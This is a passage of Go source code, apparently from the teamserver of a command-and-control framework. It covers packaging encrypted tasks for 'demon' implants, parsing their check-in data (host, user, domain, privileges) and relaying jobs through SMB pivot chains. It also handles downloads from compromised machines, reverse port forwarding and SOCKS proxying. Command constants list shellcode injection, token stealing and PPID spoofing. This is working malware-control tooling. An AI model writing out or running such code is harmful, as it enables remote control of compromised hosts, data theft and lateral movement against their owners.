integer16 = make([]byte, 2) binary.LittleEndian.PutUint16(integer16, job.Data[i].(uint16)) DataPayload = append(DataPayload, integer16...) break case string: var size = make([]byte, 4) str := job.Data[i].(string) // in C, strings terminate with a null-byte if strings.HasSuffix(str, "\x00") == false { str += "\x00" } binary.LittleEndian.PutUint32(size, uint32(len(str))) DataPayload = append(DataPayload, size...) DataPayload = append(DataPayload, []byte(str)...) break case []byte: var size = make([]byte, 4) binary.LittleEndian.PutUint32(size, uint32(len(job.Data[i].([]byte)))) DataPayload = append(DataPayload, size...) DataPayload = append(DataPayload, job.Data[i].([]byte)...) break case byte: var singlebyte = make([]byte, 1) singlebyte[0] = job.Data[i].(byte) DataPayload = append(DataPayload, singlebyte...) break case bool: var boolean = make([]byte, 4) if job.Data[i].(bool) { binary.LittleEndian.PutUint32(boolean, 1) } else { binary.LittleEndian.PutUint32(boolean, 0) } DataPayload = append(DataPayload, boolean...) break default: logger.Error(fmt.Sprintf("Could not package, unknown data type: %v", job.Data[i])) } } binary.LittleEndian.PutUint32(DataCommandID, job.Command) PayloadPackage = append(PayloadPackage, DataCommandID...) binary.LittleEndian.PutUint32(RequestID, job.RequestID) PayloadPackage = append(PayloadPackage, RequestID...) binary.LittleEndian.PutUint32(PayloadPackageSize, uint32(len(DataPayload))) PayloadPackage = append(PayloadPackage, PayloadPackageSize...) if len(DataPayload) > 0 { DataPayload = crypt.XCryptBytesAES256(DataPayload, AesKey, AesIv) PayloadPackage = append(PayloadPackage, DataPayload...) DataPayload = nil } } //logger.Debug("PayloadPackage:\n", hex.Dump(PayloadPackage)) return PayloadPackage } func ParseHeader(data []byte) (Header, error) { var ( Header = Header{} Parser = parser.NewParser(data) ) if Parser.Length() > 4 { Header.Size = Parser.ParseInt32() } else { return Header, errors.New("failed to parse package size") } if Parser.Length() > 4 { Header.MagicValue = Parser.ParseInt32() } else { return Header, errors.New("failed to parse magic value") } if Parser.Length() > 4 { Header.AgentID = Parser.ParseInt32() } else { return Header, errors.New("failed to parse agent id") } Header.Data = Parser // logger.Debug(fmt.Sprintf("Header Size : %d", Header.Size)) // logger.Debug(fmt.Sprintf("Header MagicValue : %x", Header.MagicValue)) // logger.Debug(fmt.Sprintf("Header AgentID : %x", Header.AgentID)) // logger.Debug(fmt.Sprintf("Header Data : \n%v", hex.Dump(Header.Data.Buffer()))) return Header, nil } func RegisterInfoToInstance(Header Header, RegisterInfo map[string]any) *Agent { var ( agent = &Agent{ Active: false, SessionDir: "", Info: new(AgentInfo), } err error ) agent.NameID = fmt.Sprintf("%08x", Header.AgentID) agent.Info.MagicValue = Header.MagicValue if val, ok := RegisterInfo["Hostname"]; ok { agent.Info.Hostname = val.(string) } if val, ok := RegisterInfo["Username"]; ok { agent.Info.Username = val.(string) } if val, ok := RegisterInfo["Domain"]; ok { agent.Info.DomainName = val.(string) } if val, ok := RegisterInfo["InternalIP"]; ok { agent.Info.InternalIP = val.(string) } if val, ok := RegisterInfo["Process Path"]; ok { agent.Info.ProcessPath = val.(string) } if val, ok := RegisterInfo["Process Name"]; ok { agent.Info.ProcessName = val.(string) } if val, ok := RegisterInfo["Process Arch"]; ok { agent.Info.ProcessArch = val.(string) } if val, ok := RegisterInfo["Process ID"]; ok { agent.Info.ProcessPID, err = strconv.Atoi(val.(string)) if err != nil { logger.DebugError("Couldn't parse ProcessID integer from string: " + err.Error()) agent.Info.ProcessPID = 0 } } if val, ok := RegisterInfo["Process Parent ID"]; ok { agent.Info.ProcessPPID, err = strconv.Atoi(val.(string)) if err != nil { logger.DebugError("Couldn't parse ProcessPPID integer from string: " + err.Error()) agent.Info.ProcessPPID = 0 } } if val, ok := RegisterInfo["Process Elevated"]; ok { agent.Info.Elevated = "false" if val == "1" { agent.Info.Elevated = "true" } } // Updated OS Version handling if val, ok := RegisterInfo["OS Version"]; ok { // Assuming val is a string representing the OS version, split it by '.' to get the version parts versionParts := strings.Split(val.(string), ".") OsVersion := make([]int, len(versionParts)) for i, part := range versionParts { OsVersion[i], _ = strconv.Atoi(part) } agent.Info.OSVersion = getWindowsVersionString(OsVersion) } if val, ok := RegisterInfo["OS Build"]; ok { agent.Info.OSBuild = val.(string) } if val, ok := RegisterInfo["OS Arch"]; ok { agent.Info.OSArch = val.(string) } if val, ok := RegisterInfo["SleepDelay"]; ok { switch v := val.(type) { case float64: agent.Info.SleepDelay = int(v) case string: agent.Info.SleepDelay, err = strconv.Atoi(v) if err != nil { logger.DebugError("Couldn't parse SleepDelay integer from string: " + err.Error()) agent.Info.SleepDelay = 0 } default: // handle unexpected type logger.DebugError("Unexpected type for SleepDelay: " + reflect.TypeOf(v).String()) agent.Info.SleepDelay = 0 } } agent.Info.FirstCallIn = time.Now().Format("02/01/2006 15:04:05") agent.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") agent.BackgroundCheck = false agent.Active = true return agent } func ParseDemonRegisterRequest(AgentID int, Parser *parser.Parser, ExternalIP string) *Agent { //logger.Debug("Response:\n" + hex.Dump(Parser.Buffer())) var ( MagicValue int DemonID int Hostname string DomainName string Username string InternalIP string ProcessName string ProcessPID int ProcessTID int OsVersion []int OsArch int BaseAddress int64 Elevated int ProcessArch int ProcessPPID int SleepDelay int SleepJitter int KillDate int64 WorkingHours int32 AesKeyEmpty = make([]byte, 32) ) /* [ SIZE ] 4 bytes [ Magic Value ] 4 bytes [ Agent ID ] 4 bytes [ COMMAND ID ] 4 bytes [ Request ID ] 4 bytes [ AES KEY ] 32 bytes [ AES IV ] 16 bytes AES Encrypted { [ Agent ID ] 4 bytes <-- this is needed to check if we successfully decrypted the data [ Host Name ] size + bytes [ User Name ] size + bytes [ Domain ] size + bytes [ IP Address ] 16 bytes? [ Process Name ] size + bytes [ Process ID ] 4 bytes [ Parent PID ] 4 bytes [ Process Arch ] 4 bytes [ Elevated ] 4 bytes [ Base Address ] 8 bytes [ OS Info ] ( 5 * 4 ) bytes [ OS Arch ] 4 bytes ..... more } */ if Parser.Length() >= 32+16 { var Session = &Agent{ Encryption: struct { AESKey []byte AESIv []byte }{ AESKey: Parser.ParseAtLeastBytes(32), AESIv: Parser.ParseAtLeastBytes(16), }, Active: false, SessionDir: "", Info: new(AgentInfo), } // check if there is aes key/iv. if bytes.Compare(Session.Encryption.AESKey, AesKeyEmpty) != 0 { Parser.DecryptBuffer(Session.Encryption.AESKey, Session.Encryption.AESIv) } if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) { DemonID = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Parsed DemonID: %x", DemonID)) if AgentID != DemonID { if AgentID != 0 { logger.Debug("Failed to decrypt agent init request") return nil } } else { logger.Debug(fmt.Sprintf("AgentID (%x) == DemonID (%x)\n", AgentID, DemonID)) } Hostname = Parser.ParseString() Username = Parser.ParseString() DomainName = Parser.ParseString() InternalIP = Parser.ParseString() if ExternalIP != "" { Session.Info.ExternalIP = ExternalIP } logger.Debug(fmt.Sprintf( "\n"+ "Hostname: %v\n"+ "Username: %v\n"+ "Domain : %v\n"+ "InternIP: %v\n"+ "ExternIP: %v\n", Hostname, Username, DomainName, InternalIP, ExternalIP)) ProcessName = Parser.ParseUTF16String() ProcessPID = Parser.ParseInt32() ProcessTID = Parser.ParseInt32() ProcessPPID = Parser.ParseInt32() ProcessArch = Parser.ParseInt32() Elevated = Parser.ParseInt32() BaseAddress = Parser.ParseInt64() logger.Debug(fmt.Sprintf( "\n"+ "ProcessName : %v\n"+ "ProcessPID : %v\n"+ "ProcessTID : %v\n"+ "ProcessPPID : %v\n"+ "ProcessArch : %v\n"+ "Elevated : %v\n"+ "Base Address: 0x%x\n", ProcessName, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, BaseAddress)) OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()} OsArch = Parser.ParseInt32() SleepDelay = Parser.ParseInt32() SleepJitter = Parser.ParseInt32() KillDate = Parser.ParseInt64() WorkingHours = int32(Parser.ParseInt32()) logger.Debug(fmt.Sprintf( "\n"+ "SleepDelay : %v\n"+ "SleepJitter : %v\n", SleepDelay, SleepJitter)) Session.Active = true Session.NameID = fmt.Sprintf("%08x", DemonID) Session.Info.MagicValue = MagicValue Session.Info.FirstCallIn = time.Now().Format("02/01/2006 15:04:05") Session.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") Session.Info.Hostname = Hostname Session.Info.DomainName = DomainName Session.Info.Username = Username Session.Info.InternalIP = InternalIP Session.Info.SleepDelay = SleepDelay Session.Info.SleepJitter = SleepJitter Session.Info.KillDate = KillDate Session.Info.WorkingHours = WorkingHours // Session.Info.Listener = t.Name switch ProcessArch { case PROCESS_ARCH_UNKNOWN: Session.Info.ProcessArch = "Unknown" break case PROCESS_ARCH_X64: Session.Info.ProcessArch = "x64" break case PROCESS_ARCH_X86: Session.Info.ProcessArch = "x86" break case PROCESS_ARCH_IA64: Session.Info.ProcessArch = "IA64" break default: Session.Info.ProcessArch = "Unknown" break } Session.Info.OSVersion = getWindowsVersionString(OsVersion) switch OsArch { case 0: Session.Info.OSArch = "x86" case 9: Session.Info.OSArch = "x64/AMD64" case 5: Session.Info.OSArch = "ARM" case 12: Session.Info.OSArch = "ARM64" case 6: Session.Info.OSArch = "Itanium-based" default: Session.Info.OSArch = "Unknown (" + strconv.Itoa(OsArch) + ")" } Session.Info.Elevated = "false" if Elevated == 1 { Session.Info.Elevated = "true" } process := strings.Split(ProcessName, "\\") Session.Info.ProcessName = process[len(process)-1] Session.Info.ProcessPID = ProcessPID Session.Info.ProcessTID = ProcessTID Session.Info.ProcessPPID = ProcessPPID Session.Info.ProcessPath = ProcessName Session.Info.BaseAddress = BaseAddress Session.BackgroundCheck = false /*for { if Parser.Length() >= 4 { var Option = Parser.ParseInt32() switch Option { case DEMON_CHECKIN_OPTION_PIVOTS: logger.Debug("DEMON_CHECKIN_OPTION_PIVOTS") var PivotCount = Parser.ParseInt32() logger.Debug("PivotCount: ", PivotCount) for { if PivotCount == 0 { break } var ( PivotAgentID = Parser.ParseInt32() PivotPackage = Parser.ParseBytes() PivotParser = parser.NewParser(PivotPackage) PivotSession *Agent ) var ( _ = PivotParser.ParseInt32() HdrMagicValue = PivotParser.ParseInt32() _ = PivotParser.ParseInt32() _ = PivotParser.ParseInt32() ) PivotSession = ParseDemonRegisterRequest(PivotAgentID, PivotParser, RoutineFunc) if PivotSession != nil { PivotSession.Info.MagicValue = HdrMagicValue LogDemonCallback(PivotSession) RoutineFunc.AppendDemon(PivotSession) pk := RoutineFunc.EventNewDemon(PivotSession) RoutineFunc.EventAppend(pk) RoutineFunc.EventBroadcast("", pk) Session.Pivots.Links = append(Session.Pivots.Links, PivotSession) PivotSession.Pivots.Parent = Session } PivotCount-- } break } } else { break } }*/ logger.Debug("Finished parsing demon") return Session } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: REGISTER, Invalid packet", AgentID)) return nil } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: REGISTER, Invalid packet", AgentID)) return nil } } // check that the request the agent is valid func (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32, CommandID uint32) bool { // some commands are always accepted because they don't follow the "send task and get response" format switch CommandID { case COMMAND_SOCKET: return true case COMMAND_PIVOT: return true } if teamserver.SendLogs() && CommandID == BEACON_OUTPUT { // if SendLogs is on, accept all BEACON_OUTPUT so that the agent can send logs return true } for i := range a.Tasks { if a.Tasks[i].RequestID == RequestID { return true } } return false } // the operator added a new request/command func (a *Agent) AddRequest(job Job) []Job { a.Tasks = append(a.Tasks, job) return a.Tasks } // after a request has been completed, we can forget about the RequestID so that it is no longer valid func (a *Agent) RequestCompleted(RequestID uint32) { for i := range a.Tasks { if a.Tasks[i].RequestID == RequestID { a.Tasks = append(a.Tasks[:i], a.Tasks[i+1:]...) break } } } func (a *Agent) AddJobToQueue(job Job) []Job { // store the RequestID a.AddRequest(job) // if it's a pivot agent then add the job to the parent if a.Pivots.Parent != nil { //logger.Debug("Prepare command for pivot demon: " + a.NameID) a.PivotAddJob(job) // if it's a direct agent add the job to the direct agent } else { a.JobQueue = append(a.JobQueue, job) } return a.JobQueue } func (a *Agent) GetQueuedJobs() []Job { var Jobs []Job var JobsSize = 0 var NumJobs = 0 // make sure we return a number of jobs that doesn't exceed DEMON_MAX_RESPONSE_LENGTH for _, job := range a.JobQueue { for i := range job.Data { switch job.Data[i].(type) { case int: JobsSize += 4 break case int64: JobsSize += 8 break case uint64: JobsSize += 8 break case int32: JobsSize += 4 break case uint32: JobsSize += 4 break case int16: JobsSize += 2 break case uint16: JobsSize += 2 break case string: JobsSize += 4 + len(job.Data[i].(string)) break case []byte: JobsSize += 4 + len(job.Data[i].([]byte)) break case byte: JobsSize += 1 break case bool: JobsSize += 4 break default: logger.Error(fmt.Sprintf("Could determine package size, unknown data type: %v", job.Data[i])) } } if JobsSize >= DEMON_MAX_RESPONSE_LENGTH { break } NumJobs++ } // if there is a very large job, send it anyways if len(a.JobQueue) > 0 && NumJobs == 0 { NumJobs = 1 } // return NumJobs and leave the rest on the JobQueue Jobs, a.JobQueue = a.JobQueue[:NumJobs], a.JobQueue[NumJobs:] return Jobs } func (a *Agent) UpdateLastCallback(Teamserver TeamServer) { a.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") Teamserver.AgentUpdate(a) Teamserver.AgentLastTimeCalled(a.NameID, a.Info.LastCallIn, a.Info.SleepDelay, a.Info.SleepJitter, a.Info.KillDate, a.Info.WorkingHours) } func (a *Agent) PivotAddJob(job Job) { var ( Payload = BuildPayloadMessage([]Job{job}, a.Encryption.AESKey, a.Encryption.AESIv) Packer = packer.NewPacker(nil, nil) pivots *Pivots PivotJob Job AgentID int64 err error ) // core package that the end pivot receive AgentID, err = strconv.ParseInt(a.NameID, 16, 32) if err != nil { logger.Debug("Failed to convert NameID string to AgentID: " + err.Error()) return } Packer.AddInt32(int32(AgentID)) Packer.AddBytes(Payload) // add this job to pivot queue. // tho it's not going to be used besides for the task size calculator // which is going to be displayed to the operator. a.JobQueue = append(a.JobQueue, job) PivotJob = Job{ Command: COMMAND_PIVOT, Data: []interface{}{ DEMON_PIVOT_SMB_COMMAND, uint32(AgentID), Packer.Buffer(), }, } pivots = &a.Pivots // pack it up for all the parent pivots. for { if pivots.Parent.Pivots.Parent == nil { break } // create new layer package. Payload = BuildPayloadMessage([]Job{PivotJob}, pivots.Parent.Encryption.AESKey, pivots.Parent.Encryption.AESIv) Packer = packer.NewPacker(nil, nil) AgentID, err = strconv.ParseInt(pivots.Parent.NameID, 16, 32) if err != nil { logger.Debug("Failed to convert NameID string to AgentID: " + err.Error()) return } Packer.AddInt32(int32(AgentID)) Packer.AddBytes(Payload) PivotJob = Job{ Command: COMMAND_PIVOT, Data: []interface{}{ DEMON_PIVOT_SMB_COMMAND, uint32(AgentID), Packer.Buffer(), }, } pivots = &pivots.Parent.Pivots } pivots.Parent.JobQueue = append(pivots.Parent.JobQueue, PivotJob) } func (a *Agent) DownloadAdd(FileID int, FilePath string, FileSize int64) error { var ( err error download = &Download{ FileID: FileID, FilePath: FilePath, TotalSize: FileSize, Progress: FileSize, State: DOWNLOAD_STATE_RUNNING, } DemonPath = logr.LogrInstance.AgentPath + "/" + a.NameID DemonDownloadDir = DemonPath + "/Download" DownloadFilePath = strings.Join(strings.Split(FilePath, "\\"), "/") FileSplit = strings.Split(DownloadFilePath, "/") DownloadFile = FileSplit[len(FileSplit)-1] DemonDownload = DemonDownloadDir + "/" + strings.Join(FileSplit[:len(FileSplit)-1], "/") ) /* check if we don't have a path traversal */ path := filepath.Clean(DemonDownload) if !strings.HasPrefix(path, DemonDownloadDir) { logger.Error("File didn't started with agent download path. abort") return errors.New("File didn't started with agent download path. abort") } if _, err := os.Stat(DemonDownload); os.IsNotExist(err) { if err = os.MkdirAll(DemonDownload, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon download path" + a.NameID + ": " + err.Error()) return errors.New("Failed to create Logr demon download path" + a.NameID + ": " + err.Error()) } } /* remove null terminator. goland doesn't like it. */ DownloadFile = common.StripNull(DownloadFile) download.File, err = os.Create(DemonDownload + "/" + DownloadFile) if err != nil { logger.Error("Failed to create file: " + err.Error()) return errors.New("Failed to create file: " + err.Error()) } download.LocalFile = DemonDownload + "/" + DownloadFile a.Downloads = append(a.Downloads, download) return nil } func (a *Agent) DownloadWrite(FileID int, data []byte) error { for i := range a.Downloads { if a.Downloads[i].FileID == FileID { _, err := a.Downloads[i].File.Write(data) if err != nil { a.Downloads[i].File, err = os.Create(a.Downloads[i].LocalFile) if err != nil { return errors.New("Failed to create file: " + err.Error()) } _, err = a.Downloads[i].File.Write(data) if err != nil { return errors.New("Failed to write to file [" + a.Downloads[i].LocalFile + "]: " + err.Error()) } a.Downloads[i].Progress += int64(len(data)) } return nil } } return errors.New(fmt.Sprintf("FileID not found: %x", FileID)) } func (a *Agent) DownloadClose(FileID int) { for i := range a.Downloads { if a.Downloads[i].FileID == FileID { err := a.Downloads[i].File.Close() if err != nil { logger.Error(fmt.Sprintf("Failed to close download (%x) file: %v", a.Downloads[i].FileID, err)) } a.Downloads = append(a.Downloads[:i], a.Downloads[i+1:]...) break } } } func (a *Agent) DownloadGet(FileID int) *Download { for _, download := range a.Downloads { if download.FileID == FileID { return download } } return nil } func (a *Agent) PortFwdNew(SocketID, LclAddr, LclPort, FwdAddr, FwdPort int, Target string) { var portfwd = &PortFwd{ Conn: nil, SocktID: SocketID, LclAddr: LclAddr, LclPort: LclPort, FwdAddr: FwdAddr, FwdPort: FwdPort, Target: Target, } a.PortFwdsMtx.Lock() a.PortFwds = append(a.PortFwds, portfwd) a.PortFwdsMtx.Unlock() } func (a *Agent) PortFwdGet(SocketID int) *PortFwd { a.PortFwdsMtx.Lock() defer a.PortFwdsMtx.Unlock() for i := range a.PortFwds { /* check if it's our rportfwd connection */ if a.PortFwds[i].SocktID == SocketID { /* return the found PortFwd object */ return a.PortFwds[i] } } return nil } func (a *Agent) PortFwdIsOpen(SocketID int) (bool, error) { PortFwd := a.PortFwdGet(SocketID) if PortFwd != nil { return PortFwd.Conn != nil, nil } else { return false, fmt.Errorf("rportfwd socket id %x not found", SocketID) } } func (a *Agent) PortFwdOpen(SocketID int) error { var ( err error PortFwd *PortFwd ) PortFwd = a.PortFwdGet(SocketID) if PortFwd != nil { if PortFwd.Conn == nil { /* open the connection to the target */ PortFwd.Conn, err = net.Dial("tcp", PortFwd.Target) return err } else { return errors.New("rportfwd connection is already open") } } else { return fmt.Errorf("rportfwd socket id %x not found", SocketID) } } func (a *Agent) PortFwdWrite(SocketID int, data []byte) error { var PortFwd *PortFwd PortFwd = a.PortFwdGet(SocketID) if PortFwd != nil { /* write to the connection */ if PortFwd.Conn != nil { _, err := PortFwd.Conn.Write(data) return err } else { return errors.New("rportfwd connection is empty") } } else { return fmt.Errorf("rportfwd socket id %x not found", SocketID) } } func (a *Agent) PortFwdRead(SocketID int) ([]byte, error) { var ( data = bytes.Buffer{} PortFwd *PortFwd ) PortFwd = a.PortFwdGet(SocketID) if PortFwd != nil { if PortFwd.Conn != nil { /* read from our socket to the data buffer or return error */ _, err := io.Copy(&data, PortFwd.Conn) if err != nil { return nil, err } /* return the read data */ return data.Bytes(), nil } else { return nil, errors.New("rportfwd connection is empty") } } else { return nil, fmt.Errorf("rportfwd socket id %x not found", SocketID) } } func (a *Agent) PortFwdClose(SocketID int) { a.PortFwdsMtx.Lock() defer a.PortFwdsMtx.Unlock() for i := range a.PortFwds { /* check if it's our rportfwd connection */ if a.PortFwds[i].SocktID == SocketID { /* is there a socket? if not the not try anything or else we get an exception */ if a.PortFwds[i].Conn != nil { logger.Info("Portfwd close") /* close our connection */ a.PortFwds[i].Conn.Close() a.PortFwds[i].Conn = nil } /* remove the socket from the array */ a.PortFwds = append(a.PortFwds[:i], a.PortFwds[i+1:]...) break; } } } func (a *Agent) SocksClientAdd(SocketID int32, conn net.Conn, ATYP byte, IpDomain []byte, Port uint16) *SocksClient { var client = new(SocksClient) client.SocketID = SocketID client.Conn = conn client.Connected = false client.ATYP = ATYP client.IpDomain = IpDomain client.Port = Port a.SocksCliMtx.Lock() a.SocksCli = append(a.SocksCli, client) a.SocksCliMtx.Unlock() return client } func (a *Agent) SocksClientGet(SocketID int) *SocksClient { var ( client *SocksClient = nil ) a.SocksCliMtx.Lock() for i := range a.SocksCli { if a.SocksCli[i].SocketID == int32(SocketID) { client = a.SocksCli[i] break } } a.SocksCliMtx.Unlock() return client } func (a *Agent) SocksClientRead(client *SocksClient) ([]byte, error) { var ( data = make([]byte, 0x10000) read []byte ) if client != nil { if client.Conn != nil { if client.Connected { /* read from our socket to the data buffer or return error */ client.Conn.SetReadDeadline(time.Time{}) length, err := client.Conn.Read(data) if err != nil { return nil, err } read = make([]byte, length) copy(read, data) /* return the read data */ return read, nil } else { return nil, errors.New("socks proxy is not connected") } } else { return nil, errors.New("socks proxy connection is empty") } } else { return nil, errors.New("socks proxy empty client") } } func (a *Agent) SocksClientClose(SocketID int32) bool { found := false a.SocksCliMtx.Lock() for i := range a.SocksCli { /* check if it's our rportfwd connection */ if a.SocksCli[i].SocketID == int32(SocketID) { /* is there a socket? if not the not try anything or else we get an exception */ if a.SocksCli[i].Conn != nil { /* close our connection */ a.SocksCli[i].Conn.Close() a.SocksCli[i].Conn = nil } /* remove the socks server from the array */ a.SocksCli = append(a.SocksCli[:i], a.SocksCli[i+1:]...) found = true break } } a.SocksCliMtx.Unlock() return found } func (a *Agent) SocksServerRemove(Addr string) { a.SocksSvrMtx.Lock() for i := range a.SocksSvr { if a.SocksSvr[i].Addr == Addr { /* is there a socket? if not the not try anything or else we get an exception */ if a.SocksSvr[i].Server != nil { /* close our connection */ a.SocksSvr[i].Server.Close() a.SocksSvr[i].Server = nil } /* remove the socket from the array */ a.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...) break; } } a.SocksSvrMtx.Unlock() } // ToMap returns the agent info as a map func (a *Agent) ToMap() map[string]interface{} { var ( ParentAgent *Agent Info map[string]any MagicValue string ) ParentAgent = a.Pivots.Parent a.Pivots.Parent = nil Info = structs.Map(a) Info["Info"].(map[string]interface{})["Listener"] = nil delete(Info, "Connection") delete(Info, "SessionDir") delete(Info, "JobQueue") delete(Info, "Parent") MagicValue = fmt.Sprintf("%08x", a.Info.MagicValue) if ParentAgent != nil { Info["PivotParent"] = ParentAgent.NameID a.Pivots.Parent = ParentAgent } Info["MagicValue"] = MagicValue return Info } func (a *Agent) ToJson() string { // TODO: add Agents pivot links too jsonBytes, err := json.Marshal(a.ToMap()) if err != nil { logger.Error("Failed to marshal object to json: " + err.Error()) return "" } logger.Debug("jsonBytes =>", string(jsonBytes)) return string(jsonBytes) } func (agents *Agents) AgentsAppend(demon *Agent) []*Agent { agents.Agents = append(agents.Agents, demon) return agents.Agents } func getWindowsVersionString(OsVersion []int) string { var WinVersion = "Unknown" if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 && OsVersion[4] == 20348 { WinVersion = "Windows 2022 Server 22H2" } else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 && OsVersion[4] == 17763 { WinVersion = "Windows 2019 Server" } else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] == 0x0000001 && (OsVersion[4] >= 22000 && OsVersion[4] <= 22621) { WinVersion = "Windows 11" } else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 { WinVersion = "Windows 2016 Server" } else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] == 0x0000001 { WinVersion = "Windows 10" } else if OsVersion[0] == 6 && OsVersion[1] == 3 && OsVersion[2] != 0x0000001 { WinVersion = "Windows Server 2012 R2" } else if OsVersion[0] == 6 && OsVersion[1] == 3 && OsVersion[2] == 0x0000001 { WinVersion = "Windows 8.1" } else if OsVersion[0] == 6 && OsVersion[1] == 2 && OsVersion[2] != 0x0000001 { WinVersion = "Windows Server 2012" } else if OsVersion[0] == 6 && OsVersion[1] == 2 && OsVersion[2] == 0x0000001 { WinVersion = "Windows 8" } else if OsVersion[0] == 6 && OsVersion[1] == 1 && OsVersion[2] != 0x0000001 { WinVersion = "Windows Server 2008 R2" } else if OsVersion[0] == 6 && OsVersion[1] == 1 && OsVersion[2] == 0x0000001 { WinVersion = "Windows 7" } if OsVersion[3] != 0 { WinVersion += " Service Pack " + strconv.Itoa(OsVersion[3]) } return WinVersion } ================================================ FILE: teamserver/pkg/agent/commands.go ================================================ package agent const ( DEMON_MAGIC_VALUE = 0xDEADBEEF ) const ( /* * https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile * Pipe write operations across a network are limited in size per write. * The amount varies per platform. For x86 platforms it's 63.97 MB. * For x64 platforms it's 31.97 MB. For Itanium it's 63.95 MB. */ // we are using 30 MB DEMON_MAX_RESPONSE_LENGTH = 0x1e00000 ) const ( PROCESS_ARCH_UNKNOWN = 0 PROCESS_ARCH_X86 = 1 PROCESS_ARCH_X64 = 2 PROCESS_ARCH_IA64 = 3 ) // TODO: change Command IDs. use something more readable and understandable. const ( COMMAND_GET_JOB = 1 DEMON_INIT = 99 COMMAND_CHECKIN = 100 COMMAND_NOJOB = 10 COMMAND_SLEEP = 11 COMMAND_PROC = 0x1010 COMMAND_PS_IMPORT = 0x1011 COMMAND_PROC_LIST = 12 COMMAND_FS = 15 COMMAND_INLINEEXECUTE = 20 COMMAND_ASSEMBLY_INLINE_EXECUTE = 0x2001 COMMAND_ASSEMBLY_LIST_VERSIONS = 0x2003 COMMAND_JOB = 21 COMMAND_INJECT_DLL = 22 COMMAND_INJECT_SHELLCODE = 24 COMMAND_SPAWNDLL = 26 COMMAND_PROC_PPIDSPOOF = 27 COMMAND_TOKEN = 40 COMMAND_NET = 2100 COMMAND_CONFIG = 2500 COMMAND_SCREENSHOT = 2510 COMMAND_PIVOT = 2520 COMMAND_TRANSFER = 2530 COMMAND_SOCKET = 2540 COMMAND_KERBEROS = 2550 COMMAND_MEM_FILE = 2560 COMMAND_PACKAGE_DROPPED = 2570 DEMON_INFO = 89 COMMAND_OUTPUT = 90 COMMAND_ERROR = 91 COMMAND_EXIT = 92 COMMAND_KILL_DATE = 93 BEACON_OUTPUT = 94 COMMAND_INLINEEXECUTE_EXCEPTION = 1 COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND = 2 COMMAND_INLINEEXECUTE_RAN_OK = 3 COMMAND_INLINEEXECUTE_COULD_NO_RUN = 4 COMMAND_EXCEPTION = 0x98 COMMAND_SYMBOL_NOT_FOUND = 0x99 CALLBACK_OUTPUT = 0x0 CALLBACK_OUTPUT_OEM = 0x1e CALLBACK_ERROR = 0x0d CALLBACK_OUTPUT_UTF8 = 0x20 CALLBACK_FILE = 0x02 CALLBACK_FILE_WRITE = 0x08 CALLBACK_FILE_CLOSE = 0x09 ) const ( CONFIG_IMPLANT_SPFTHREADSTART = 3 CONFIG_IMPLANT_SLEEP_TECHNIQUE = 5 CONFIG_IMPLANT_VERBOSE = 4 CONFIG_IMPLANT_COFFEE_THREADED = 6 CONFIG_IMPLANT_COFFEE_VEH = 7 CONFIG_MEMORY_ALLOC = 101 CONFIG_MEMORY_EXECUTE = 102 CONFIG_INJECT_TECHNIQUE = 150 CONFIG_INJECT_SPOOFADDR = 151 CONFIG_INJECT_SPAWN64 = 152 CONFIG_INJECT_SPAWN32 = 153 CONFIG_KILLDATE = 154 CONFIG_WORKINGHOURS = 155 DEMON_NET_COMMAND_DOMAIN = 1 DEMON_NET_COMMAND_LOGONS = 2 DEMON_NET_COMMAND_SESSIONS = 3 DEMON_NET_COMMAND_COMPUTER = 4 DEMON_NET_COMMAND_DCLIST = 5 DEMON_NET_COMMAND_SHARE = 6 DEMON_NET_COMMAND_LOCALGROUP = 7 DEMON_NET_COMMAND_GROUP = 8 DEMON_NET_COMMAND_USERS = 9 DEMON_PIVOT_LIST = 1 DEMON_PIVOT_SMB_CONNECT = 10 DEMON_PIVOT_SMB_DISCONNECT = 11 DEMON_PIVOT_SMB_COMMAND = 12 DEMON_INFO_MEM_ALLOC = 10 DEMON_INFO_MEM_EXEC = 11 DEMON_INFO_MEM_PROTECT = 12 DEMON_INFO_PROC_CREATE = 21 DEMON_COMMAND_JOB_LIST = 1 DEMON_COMMAND_JOB_SUSPEND = 2 DEMON_COMMAND_JOB_RESUME = 3 DEMON_COMMAND_JOB_KILL_REMOVE = 4 DEMON_COMMAND_JOB_DIED = 5 DEMON_COMMAND_TRANSFER_LIST = 0 DEMON_COMMAND_TRANSFER_STOP = 1 DEMON_COMMAND_TRANSFER_RESUME = 2 DEMON_COMMAND_TRANSFER_REMOVE = 3 DEMON_COMMAND_PROC_MODULES = 2 DEMON_COMMAND_PROC_GREP = 3 DEMON_COMMAND_PROC_CREATE = 4 DEMON_COMMAND_PROC_MEMORY = 6 DEMON_COMMAND_PROC_KILL = 7 DEMON_COMMAND_TOKEN_IMPERSONATE = 1 DEMON_COMMAND_TOKEN_STEAL = 2 DEMON_COMMAND_TOKEN_LIST = 3 DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST = 4 DEMON_COMMAND_TOKEN_MAKE = 5 DEMON_COMMAND_TOKEN_GET_UID = 